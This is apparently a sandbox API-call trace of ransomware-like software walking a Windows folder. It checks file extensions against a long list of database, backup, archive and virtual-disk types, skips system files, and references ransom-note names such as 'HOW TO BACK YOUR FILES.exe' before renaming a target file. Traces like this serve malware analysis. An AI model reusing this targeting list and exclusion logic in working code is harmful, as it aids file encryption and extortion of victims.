	[0075.438] lstrcmpiW (lpString1="HTM", lpString2="ckp") returned 1
	[0075.438] lstrlenW (lpString="cma") returned 3
	[0075.438] lstrcmpiW (lpString1="HTM", lpString2="cma") returned 1
	[0075.438] lstrlenW (lpString="cpd") returned 3
	[0075.438] lstrcmpiW (lpString1="HTM", lpString2="cpd") returned 1
	[0075.438] lstrlenW (lpString="dacpac") returned 6
	[0075.438] lstrcmpiW (lpString1="UT.HTM", lpString2="dacpac") returned 1
	[0075.438] lstrlenW (lpString="dad") returned 3
	[0075.438] lstrcmpiW (lpString1="HTM", lpString2="dad") returned 1
	[0075.438] lstrlenW (lpString="dadiagrams") returned 10
	[0075.438] lstrcmpiW (lpString1="CABOUT.HTM", lpString2="dadiagrams") returned -1
	[0075.438] lstrlenW (lpString="daschema") returned 8
	[0075.438] lstrcmpiW (lpString1="BOUT.HTM", lpString2="daschema") returned -1
	[0075.438] lstrlenW (lpString="db-journal") returned 10
	[0075.438] lstrcmpiW (lpString1="CABOUT.HTM", lpString2="db-journal") returned -1
	[0075.438] lstrlenW (lpString="db-shm") returned 6
	[0075.438] lstrcmpiW (lpString1="UT.HTM", lpString2="db-shm") returned 1
	[0075.438] lstrlenW (lpString="db-wal") returned 6
	[0075.438] lstrcmpiW (lpString1="UT.HTM", lpString2="db-wal") returned 1
	[0075.438] lstrlenW (lpString="dbc") returned 3
	[0075.438] lstrcmpiW (lpString1="HTM", lpString2="dbc") returned 1
	[0075.438] lstrlenW (lpString="dbs") returned 3
	[0075.438] lstrcmpiW (lpString1="HTM", lpString2="dbs") returned 1
	[0075.438] lstrlenW (lpString="dbt") returned 3
	[0075.438] lstrcmpiW (lpString1="HTM", lpString2="dbt") returned 1
	[0075.438] lstrlenW (lpString="dbv") returned 3
	[0075.438] lstrcmpiW (lpString1="HTM", lpString2="dbv") returned 1
	[0075.438] lstrlenW (lpString="dbx") returned 3
	[0075.438] lstrcmpiW (lpString1="HTM", lpString2="dbx") returned 1
	[0075.438] lstrlenW (lpString="dcb") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="dcb") returned 1
	[0075.439] lstrlenW (lpString="dct") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="dct") returned 1
	[0075.439] lstrlenW (lpString="dcx") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="dcx") returned 1
	[0075.439] lstrlenW (lpString="ddl") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="ddl") returned 1
	[0075.439] lstrlenW (lpString="dlis") returned 4
	[0075.439] lstrcmpiW (lpString1=".HTM", lpString2="dlis") returned -1
	[0075.439] lstrlenW (lpString="dp1") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="dp1") returned 1
	[0075.439] lstrlenW (lpString="dqy") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="dqy") returned 1
	[0075.439] lstrlenW (lpString="dsk") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="dsk") returned 1
	[0075.439] lstrlenW (lpString="dsn") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="dsn") returned 1
	[0075.439] lstrlenW (lpString="dtsx") returned 4
	[0075.439] lstrcmpiW (lpString1=".HTM", lpString2="dtsx") returned -1
	[0075.439] lstrlenW (lpString="dxl") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="dxl") returned 1
	[0075.439] lstrlenW (lpString="eco") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="eco") returned 1
	[0075.439] lstrlenW (lpString="ecx") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="ecx") returned 1
	[0075.439] lstrlenW (lpString="edb") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="edb") returned 1
	[0075.439] lstrlenW (lpString="epim") returned 4
	[0075.439] lstrcmpiW (lpString1=".HTM", lpString2="epim") returned -1
	[0075.439] lstrlenW (lpString="fcd") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="fcd") returned 1
	[0075.439] lstrlenW (lpString="fdb") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="fdb") returned 1
	[0075.439] lstrlenW (lpString="fic") returned 3
	[0075.439] lstrcmpiW (lpString1="HTM", lpString2="fic") returned 1
	[0075.439] lstrlenW (lpString="flexolibrary") returned 12
	[0075.439] lstrlenW (lpString="fm5") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="fm5") returned 1
	[0075.440] lstrlenW (lpString="fmp") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="fmp") returned 1
	[0075.440] lstrlenW (lpString="fmp12") returned 5
	[0075.440] lstrcmpiW (lpString1="T.HTM", lpString2="fmp12") returned 1
	[0075.440] lstrlenW (lpString="fmpsl") returned 5
	[0075.440] lstrcmpiW (lpString1="T.HTM", lpString2="fmpsl") returned 1
	[0075.440] lstrlenW (lpString="fol") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="fol") returned 1
	[0075.440] lstrlenW (lpString="fp3") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="fp3") returned 1
	[0075.440] lstrlenW (lpString="fp4") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="fp4") returned 1
	[0075.440] lstrlenW (lpString="fp5") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="fp5") returned 1
	[0075.440] lstrlenW (lpString="fp7") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="fp7") returned 1
	[0075.440] lstrlenW (lpString="fpt") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="fpt") returned 1
	[0075.440] lstrlenW (lpString="frm") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="frm") returned 1
	[0075.440] lstrlenW (lpString="gdb") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="gdb") returned 1
	[0075.440] lstrlenW (lpString="gdb") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="gdb") returned 1
	[0075.440] lstrlenW (lpString="grdb") returned 4
	[0075.440] lstrcmpiW (lpString1=".HTM", lpString2="grdb") returned -1
	[0075.440] lstrlenW (lpString="gwi") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="gwi") returned 1
	[0075.440] lstrlenW (lpString="hdb") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="hdb") returned 1
	[0075.440] lstrlenW (lpString="his") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="his") returned 1
	[0075.440] lstrlenW (lpString="ib") returned 2
	[0075.440] lstrcmpiW (lpString1="TM", lpString2="ib") returned 1
	[0075.440] lstrlenW (lpString="idb") returned 3
	[0075.440] lstrcmpiW (lpString1="HTM", lpString2="idb") returned -1
	[0075.441] lstrlenW (lpString="ihx") returned 3
	[0075.441] lstrcmpiW (lpString1="HTM", lpString2="ihx") returned -1
	[0075.441] lstrlenW (lpString="itdb") returned 4
	[0075.441] lstrcmpiW (lpString1=".HTM", lpString2="itdb") returned -1
	[0075.441] lstrlenW (lpString="itw") returned 3
	[0075.441] lstrcmpiW (lpString1="HTM", lpString2="itw") returned -1
	[0075.441] lstrlenW (lpString="jet") returned 3
	[0075.441] lstrcmpiW (lpString1="HTM", lpString2="jet") returned -1
	[0075.441] lstrlenW (lpString="jtx") returned 3
	[0075.441] lstrcmpiW (lpString1="HTM", lpString2="jtx") returned -1
	[0075.441] lstrlenW (lpString="kdb") returned 3
	[0075.441] lstrcmpiW (lpString1="HTM", lpString2="kdb") returned -1
	[0075.441] lstrlenW (lpString="kexi") returned 4
	[0075.441] lstrcmpiW (lpString1=".HTM", lpString2="kexi") returned -1
	[0075.441] lstrlenW (lpString="kexic") returned 5
	[0075.441] lstrcmpiW (lpString1="T.HTM", lpString2="kexic") returned 1
	[0075.441] lstrlenW (lpString="kexis") returned 5
	[0075.441] lstrcmpiW (lpString1="T.HTM", lpString2="kexis") returned 1
	[0075.441] lstrlenW (lpString="lgc") returned 3
	[0075.441] lstrcmpiW (lpString1="HTM", lpString2="lgc") returned -1
	[0075.441] lstrlenW (lpString="lwx") returned 3
	[0075.441] lstrcmpiW (lpString1="HTM", lpString2="lwx") returned -1
	[0075.441] lstrlenW (lpString="maf") returned 3
	[0075.441] lstrcmpiW (lpString1="HTM", lpString2="maf") returned -1
	[0075.441] lstrlenW (lpString="maq") returned 3
	[0075.441] lstrcmpiW (lpString1="HTM", lpString2="maq") returned -1
	[0075.441] lstrlenW (lpString="mar") returned 3
	[0075.441] lstrcmpiW (lpString1="HTM", lpString2="mar") returned -1
	[0075.441] lstrlenW (lpString="marshal") returned 7
	[0075.441] lstrcmpiW (lpString1="OUT.HTM", lpString2="marshal") returned 1
	[0075.441] lstrlenW (lpString="mas") returned 3
	[0075.441] lstrcmpiW (lpString1="HTM", lpString2="mas") returned -1
	[0075.441] lstrlenW (lpString="mav") returned 3
	[0075.441] lstrcmpiW (lpString1="HTM", lpString2="mav") returned -1
	[0075.441] lstrlenW (lpString="maw") returned 3
	[0075.441] lstrcmpiW (lpString1="HTM", lpString2="maw") returned -1
	[0075.441] lstrlenW (lpString="mdbhtml") returned 7
	[0075.441] lstrcmpiW (lpString1="OUT.HTM", lpString2="mdbhtml") returned 1
	[0075.442] lstrlenW (lpString="mdn") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="mdn") returned -1
	[0075.442] lstrlenW (lpString="mdt") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="mdt") returned -1
	[0075.442] lstrlenW (lpString="mfd") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="mfd") returned -1
	[0075.442] lstrlenW (lpString="mpd") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="mpd") returned -1
	[0075.442] lstrlenW (lpString="mrg") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="mrg") returned -1
	[0075.442] lstrlenW (lpString="mud") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="mud") returned -1
	[0075.442] lstrlenW (lpString="mwb") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="mwb") returned -1
	[0075.442] lstrlenW (lpString="myd") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="myd") returned -1
	[0075.442] lstrlenW (lpString="ndf") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="ndf") returned -1
	[0075.442] lstrlenW (lpString="nnt") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="nnt") returned -1
	[0075.442] lstrlenW (lpString="nrmlib") returned 6
	[0075.442] lstrcmpiW (lpString1="UT.HTM", lpString2="nrmlib") returned 1
	[0075.442] lstrlenW (lpString="ns2") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="ns2") returned -1
	[0075.442] lstrlenW (lpString="ns3") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="ns3") returned -1
	[0075.442] lstrlenW (lpString="ns4") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="ns4") returned -1
	[0075.442] lstrlenW (lpString="nsf") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="nsf") returned -1
	[0075.442] lstrlenW (lpString="nv") returned 2
	[0075.442] lstrcmpiW (lpString1="TM", lpString2="nv") returned 1
	[0075.442] lstrlenW (lpString="nv2") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="nv2") returned -1
	[0075.442] lstrlenW (lpString="nwdb") returned 4
	[0075.442] lstrcmpiW (lpString1=".HTM", lpString2="nwdb") returned -1
	[0075.442] lstrlenW (lpString="nyf") returned 3
	[0075.442] lstrcmpiW (lpString1="HTM", lpString2="nyf") returned -1
	[0075.442] lstrlenW (lpString="odb") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="odb") returned -1
	[0075.443] lstrlenW (lpString="odb") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="odb") returned -1
	[0075.443] lstrlenW (lpString="oqy") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="oqy") returned -1
	[0075.443] lstrlenW (lpString="ora") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="ora") returned -1
	[0075.443] lstrlenW (lpString="orx") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="orx") returned -1
	[0075.443] lstrlenW (lpString="owc") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="owc") returned -1
	[0075.443] lstrlenW (lpString="p96") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="p96") returned -1
	[0075.443] lstrlenW (lpString="p97") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="p97") returned -1
	[0075.443] lstrlenW (lpString="pan") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="pan") returned -1
	[0075.443] lstrlenW (lpString="pdb") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="pdb") returned -1
	[0075.443] lstrlenW (lpString="pdm") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="pdm") returned -1
	[0075.443] lstrlenW (lpString="pnz") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="pnz") returned -1
	[0075.443] lstrlenW (lpString="qry") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="qry") returned -1
	[0075.443] lstrlenW (lpString="qvd") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="qvd") returned -1
	[0075.443] lstrlenW (lpString="rbf") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="rbf") returned -1
	[0075.443] lstrlenW (lpString="rctd") returned 4
	[0075.443] lstrcmpiW (lpString1=".HTM", lpString2="rctd") returned -1
	[0075.443] lstrlenW (lpString="rod") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="rod") returned -1
	[0075.443] lstrlenW (lpString="rodx") returned 4
	[0075.443] lstrcmpiW (lpString1=".HTM", lpString2="rodx") returned -1
	[0075.443] lstrlenW (lpString="rpd") returned 3
	[0075.443] lstrcmpiW (lpString1="HTM", lpString2="rpd") returned -1
	[0075.443] lstrlenW (lpString="rsd") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="rsd") returned -1
	[0075.444] lstrlenW (lpString="sas7bdat") returned 8
	[0075.444] lstrcmpiW (lpString1="BOUT.HTM", lpString2="sas7bdat") returned -1
	[0075.444] lstrlenW (lpString="sbf") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="sbf") returned -1
	[0075.444] lstrlenW (lpString="scx") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="scx") returned -1
	[0075.444] lstrlenW (lpString="sdb") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="sdb") returned -1
	[0075.444] lstrlenW (lpString="sdc") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="sdc") returned -1
	[0075.444] lstrlenW (lpString="sdf") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="sdf") returned -1
	[0075.444] lstrlenW (lpString="sis") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="sis") returned -1
	[0075.444] lstrlenW (lpString="spq") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="spq") returned -1
	[0075.444] lstrlenW (lpString="te") returned 2
	[0075.444] lstrcmpiW (lpString1="TM", lpString2="te") returned 1
	[0075.444] lstrlenW (lpString="teacher") returned 7
	[0075.444] lstrcmpiW (lpString1="OUT.HTM", lpString2="teacher") returned -1
	[0075.444] lstrlenW (lpString="tmd") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="tmd") returned -1
	[0075.444] lstrlenW (lpString="tps") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="tps") returned -1
	[0075.444] lstrlenW (lpString="trc") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="trc") returned -1
	[0075.444] lstrlenW (lpString="trc") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="trc") returned -1
	[0075.444] lstrlenW (lpString="trm") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="trm") returned -1
	[0075.444] lstrlenW (lpString="udb") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="udb") returned -1
	[0075.444] lstrlenW (lpString="udl") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="udl") returned -1
	[0075.444] lstrlenW (lpString="usr") returned 3
	[0075.444] lstrcmpiW (lpString1="HTM", lpString2="usr") returned -1
	[0075.444] lstrlenW (lpString="v12") returned 3
	[0075.445] lstrcmpiW (lpString1="HTM", lpString2="v12") returned -1
	[0075.445] lstrlenW (lpString="vis") returned 3
	[0075.445] lstrcmpiW (lpString1="HTM", lpString2="vis") returned -1
	[0075.445] lstrlenW (lpString="vpd") returned 3
	[0075.445] lstrcmpiW (lpString1="HTM", lpString2="vpd") returned -1
	[0075.445] lstrlenW (lpString="vvv") returned 3
	[0075.445] lstrcmpiW (lpString1="HTM", lpString2="vvv") returned -1
	[0075.445] lstrlenW (lpString="wdb") returned 3
	[0075.445] lstrcmpiW (lpString1="HTM", lpString2="wdb") returned -1
	[0075.445] lstrlenW (lpString="wmdb") returned 4
	[0075.445] lstrcmpiW (lpString1=".HTM", lpString2="wmdb") returned -1
	[0075.445] lstrlenW (lpString="wrk") returned 3
	[0075.445] lstrcmpiW (lpString1="HTM", lpString2="wrk") returned -1
	[0075.445] lstrlenW (lpString="xdb") returned 3
	[0075.445] lstrcmpiW (lpString1="HTM", lpString2="xdb") returned -1
	[0075.445] lstrlenW (lpString="xld") returned 3
	[0075.445] lstrcmpiW (lpString1="HTM", lpString2="xld") returned -1
	[0075.445] lstrlenW (lpString="xmlff") returned 5
	[0075.445] lstrcmpiW (lpString1="T.HTM", lpString2="xmlff") returned -1
	[0075.445] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1
	[0075.445] lstrcmpiW (lpString1="STINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.445] lstrcmpiW (lpString1="STINTL.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0075.445] lstrcmpiW (lpString1="STINTL.DLL", lpString2=".") returned 1
	[0075.445] lstrcmpiW (lpString1="STINTL.DLL", lpString2="..") returned 1
	[0075.445] lstrcmpiW (lpString1="STINTL.DLL", lpString2="windows") returned -1
	[0075.445] lstrcmpiW (lpString1="STINTL.DLL", lpString2="bootmgr") returned 1
	[0075.445] lstrcmpiW (lpString1="STINTL.DLL", lpString2="temp") returned -1
	[0075.445] lstrcmpiW (lpString1="STINTL.DLL", lpString2="pagefile.sys") returned 1
	[0075.445] lstrcmpiW (lpString1="STINTL.DLL", lpString2="boot") returned 1
	[0075.445] lstrcmpiW (lpString1="STINTL.DLL", lpString2="ids.txt") returned 1
	[0075.445] lstrcmpiW (lpString1="STINTL.DLL", lpString2="ntuser.dat") returned 1
	[0075.445] lstrcmpiW (lpString1="STINTL.DLL", lpString2="perflogs") returned 1
	[0075.445] lstrcmpiW (lpString1="STINTL.DLL", lpString2="MSBuild") returned 1
	[0075.445] lstrlenW (lpString="STINTL.DLL") returned 10
	[0075.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73
	[0075.445] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="STINTL.DLL" | out: lpString1="STINTL.DLL") returned="STINTL.DLL"
	[0075.445] lstrlenW (lpString="STINTL.DLL") returned 10
	[0075.446] lstrlenW (lpString="Apollon865") returned 10
	[0075.446] lstrlenW (lpString=".dll") returned 4
	[0075.446] lstrcmpiW (lpString1="STINTL.DLL", lpString2=".dll") returned 1
	[0075.446] lstrlenW (lpString=".lnk") returned 4
	[0075.446] lstrcmpiW (lpString1="STINTL.DLL", lpString2=".lnk") returned 1
	[0075.446] lstrlenW (lpString=".ini") returned 4
	[0075.446] lstrcmpiW (lpString1="STINTL.DLL", lpString2=".ini") returned 1
	[0075.446] lstrlenW (lpString=".sys") returned 4
	[0075.446] lstrcmpiW (lpString1="STINTL.DLL", lpString2=".sys") returned 1
	[0075.446] lstrlenW (lpString="STINTL.DLL") returned 10
	[0075.446] lstrlenW (lpString="bak") returned 3
	[0075.446] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1
	[0075.446] lstrlenW (lpString="ba_") returned 3
	[0075.446] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1
	[0075.446] lstrlenW (lpString="dbb") returned 3
	[0075.446] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1
	[0075.446] lstrlenW (lpString="vmdk") returned 4
	[0075.446] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1
	[0075.446] lstrlenW (lpString="rar") returned 3
	[0075.446] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1
	[0075.446] lstrlenW (lpString="zip") returned 3
	[0075.446] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1
	[0075.446] lstrlenW (lpString="tgz") returned 3
	[0075.446] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1
	[0075.446] lstrlenW (lpString="vbox") returned 4
	[0075.446] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1
	[0075.446] lstrlenW (lpString="vdi") returned 3
	[0075.446] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1
	[0075.446] lstrlenW (lpString="vhd") returned 3
	[0075.446] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1
	[0075.446] lstrlenW (lpString="vhdx") returned 4
	[0075.446] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1
	[0075.446] lstrlenW (lpString="avhd") returned 4
	[0075.446] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1
	[0075.446] lstrlenW (lpString="db") returned 2
	[0075.446] lstrcmpiW (lpString1="LL", lpString2="db") returned 1
	[0075.446] lstrlenW (lpString="db2") returned 3
	[0075.446] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1
	[0075.447] lstrlenW (lpString="db3") returned 3
	[0075.447] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1
	[0075.447] lstrlenW (lpString="dbf") returned 3
	[0075.447] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1
	[0075.447] lstrlenW (lpString="mdf") returned 3
	[0075.447] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1
	[0075.447] lstrlenW (lpString="mdb") returned 3
	[0075.447] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1
	[0075.447] lstrlenW (lpString="sql") returned 3
	[0075.447] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1
	[0075.447] lstrlenW (lpString="sqlite") returned 6
	[0075.447] lstrcmpiW (lpString1="TL.DLL", lpString2="sqlite") returned 1
	[0075.447] lstrlenW (lpString="sqlite3") returned 7
	[0075.447] lstrcmpiW (lpString1="NTL.DLL", lpString2="sqlite3") returned -1
	[0075.447] lstrlenW (lpString="sqlitedb") returned 8
	[0075.447] lstrcmpiW (lpString1="INTL.DLL", lpString2="sqlitedb") returned -1
	[0075.447] lstrlenW (lpString="xml") returned 3
	[0075.447] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1
	[0075.447] lstrlenW (lpString="$er") returned 3
	[0075.447] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1
	[0075.447] lstrlenW (lpString="4dd") returned 3
	[0075.447] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1
	[0075.447] lstrlenW (lpString="4dl") returned 3
	[0075.447] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1
	[0075.447] lstrlenW (lpString="^^^") returned 3
	[0075.447] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1
	[0075.447] lstrlenW (lpString="abs") returned 3
	[0075.447] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1
	[0075.447] lstrlenW (lpString="abx") returned 3
	[0075.447] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1
	[0075.447] lstrlenW (lpString="accdb") returned 5
	[0075.447] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1
	[0075.447] lstrlenW (lpString="accdc") returned 5
	[0075.447] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1
	[0075.447] lstrlenW (lpString="accde") returned 5
	[0075.447] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1
	[0075.447] lstrlenW (lpString="accdr") returned 5
	[0075.447] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1
	[0075.448] lstrlenW (lpString="accdt") returned 5
	[0075.448] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1
	[0075.448] lstrlenW (lpString="accdw") returned 5
	[0075.448] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1
	[0075.448] lstrlenW (lpString="accft") returned 5
	[0075.448] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1
	[0075.448] lstrlenW (lpString="adb") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1
	[0075.448] lstrlenW (lpString="adb") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1
	[0075.448] lstrlenW (lpString="ade") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1
	[0075.448] lstrlenW (lpString="adf") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1
	[0075.448] lstrlenW (lpString="adn") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1
	[0075.448] lstrlenW (lpString="adp") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1
	[0075.448] lstrlenW (lpString="alf") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1
	[0075.448] lstrlenW (lpString="ask") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1
	[0075.448] lstrlenW (lpString="btr") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1
	[0075.448] lstrlenW (lpString="cat") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1
	[0075.448] lstrlenW (lpString="cdb") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1
	[0075.448] lstrlenW (lpString="ckp") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1
	[0075.448] lstrlenW (lpString="cma") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1
	[0075.448] lstrlenW (lpString="cpd") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1
	[0075.448] lstrlenW (lpString="dacpac") returned 6
	[0075.448] lstrcmpiW (lpString1="TL.DLL", lpString2="dacpac") returned 1
	[0075.448] lstrlenW (lpString="dad") returned 3
	[0075.448] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1
	[0075.449] lstrlenW (lpString="dadiagrams") returned 10
	[0075.449] lstrlenW (lpString="daschema") returned 8
	[0075.449] lstrcmpiW (lpString1="INTL.DLL", lpString2="daschema") returned 1
	[0075.449] lstrlenW (lpString="db-journal") returned 10
	[0075.449] lstrlenW (lpString="db-shm") returned 6
	[0075.449] lstrcmpiW (lpString1="TL.DLL", lpString2="db-shm") returned 1
	[0075.449] lstrlenW (lpString="db-wal") returned 6
	[0075.449] lstrcmpiW (lpString1="TL.DLL", lpString2="db-wal") returned 1
	[0075.449] lstrlenW (lpString="dbc") returned 3
	[0075.449] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1
	[0075.449] lstrlenW (lpString="dbs") returned 3
	[0075.449] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1
	[0075.449] lstrlenW (lpString="dbt") returned 3
	[0075.449] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1
	[0075.449] lstrlenW (lpString="dbv") returned 3
	[0075.449] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1
	[0075.449] lstrlenW (lpString="dbx") returned 3
	[0075.449] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1
	[0075.449] lstrlenW (lpString="dcb") returned 3
	[0075.449] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1
	[0075.449] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1
	[0075.449] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1
	[0075.449] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1
	[0075.449] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="STINTL.DLL.IDX_DLL" | out: lpString1="STINTL.DLL.IDX_DLL") returned="STINTL.DLL.IDX_DLL"
	[0075.449] lstrlenW (lpString="STINTL.DLL.IDX_DLL") returned 18
	[0075.449] lstrlenW (lpString="Apollon865") returned 10
